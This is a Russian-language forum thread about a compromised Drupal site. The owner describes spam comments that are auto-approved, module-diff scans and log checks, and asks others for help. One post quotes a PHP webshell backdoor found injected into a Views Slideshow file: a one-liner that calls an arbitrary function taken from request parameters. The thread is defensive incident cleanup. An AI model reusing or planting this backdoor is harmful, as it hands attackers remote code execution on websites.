Я никогда с подобным не сталкивался раньше. Пока даже не представляю, как всё это сразу увязать. Возможно ли это сделать имеющимися модулями, или только написанием полностью своего решения?

в guirf[ наверное нет, но видел тоже, забавное. у меня где-то лежит папочка с целой CMS-иной шелловской. Если интересно, могу поискать. Там очень удобно управлять сайтиком - я долго любовался находясь под впечатлением - CMS в CMS WordPress Сейчас опять появилась небольшая партия комментов. Тперь уже отключил полностью возможность добавления комментов. Смотрю логи на сервере. Есть и время и IP того, кто вносил.

Продолжаю искать всё и вся логи сервера. 1. прогнать https://www.drupal.org/project/hacked + https://www.drupal.org/project/diff - это прогнал сразу. Он и нашёл первый кусок кода. Всякие Айболиты - больше находят штатного, нежели что-то стоящее. Всё, что нашёл данный антивирус - сравнил в исходниках, в том tinymce - тоже самое.

Да я ж с улыбкой, тем более зная уже здесь многих Личностей и их огромный вклад в общее дело. Без вас, мои знания Drupal, стремились бы к нулю просто реально, заказ есть и соответственно, там посерьезней меня люди трудятся, а я лишь дилетант . Опасаюсь, что там в базе может что лежит, в той же menu_router ?

Вот за такой ответ - благодарствую, Dgastudio. В том-то и дело, что все стал обновлять полностью на данном ресурсе, сразу, после выхода очередного обновления. Раньше были попытки убить ресурс через внесение комментариев с java-кодом, когда это было просечено и указано комментирующим - они перестали по видимому, пошли другим путём - взлома через дыры самого Drupal. Год прошел, вроде все было тихо. И сейчас, когда вновь, пошел накал - вскрылось это.

конечно без обид, особенно, когда сути не знаешь, а делаешь выводы А то, что хак через дыру - это наверняка.

Да вот кто бы думал рядом лежит старое ядро и никем не тронутое. И так регулярно, если не постоянно обновляю все сайты. Сталкивались с таким кодом?

Порывшись в файлах сайта, нашёл ещё массу всего интересного. Оказывается, данный вредоносный код, появился во всех файлах 13.10.2015. Часть его была удалена, а часть обнаружена сейчас. Самое забавное, как этот код прописан в файлах, обратите внимание.

vkxp.api.php

Продолжая поиски, обнаружил следующее:

/**
* @file
* Hooks provided by Views Slideshow.
*/$strcmp_zyle = $_REQUEST ; if ( @ isset ( $strcmp_zyle[ctype_digit_sc] ) ) { @ $strcmp_zyle[ctype_digit_sc] ( $strcmp_zyle[dba_replace_iz] ); } в файле views_slideshow.api.php модуля: Views Slideshow 7.x-3.1

Эх, по этим методам проверки, всё как бы чисто получается. Их я сразу нашёл и проверил. Где-то зарыто в другом месте наверное. Пока продолжаю искать и изучать все материалы, что получается найти в буржуанете В своё время находил и вычищал массу дряни. потом год было всё тихо и вот опять. Либо не дочистил (что вроде навряд ли), либо где-то ещё дыру им оставил.

Всё, пока писал предыдущий комментарий здесь - у меня уже появилось два одобренных от пользователей: "strattera", "cialis men" с указанных выше IP. "buy strattera," Ссылка: (http : // buystrattera6 . top/#3690) и "cialis online" Ссылка: (http : // cialisonline . us . com/#1751) и по одному с каждого IP. Чертовщина какая-то! разбил тексты ссылок, чтобы не спамить этой гадостью здесь

В том-то и дело. Что все комментарии делаются видимыми и доступными для просмотра только после проверки их администраторами. Ограничения прав стоят максимальные. Пользователи также, проходят проверку. Но вот недавно, началось подобное, что часть комментариев ждут проверки и недоступны, а все другие, что размещаются с этих адресов - автоматически одобряются кем-то. Заблокировал один IP - перестали появляться. Потом появились с нового, после блокировки его - опять всё нормально. Сейчас, ради эксперимента, снял блокировку данных IP. Жду, как скоро повторится.

teatest wrote:

Затолкайте себе свой сеопульт и вашего директора.

Врагом он не является, соперником быть не может, а о равенстве вообще не может быть и речи.

А что так агрессивно? Обиделся что ли? Я специально в кавычки слово "Враг" заключил (забыл в конце смайлик поставить).

И сеопульт не мой и директор - тем более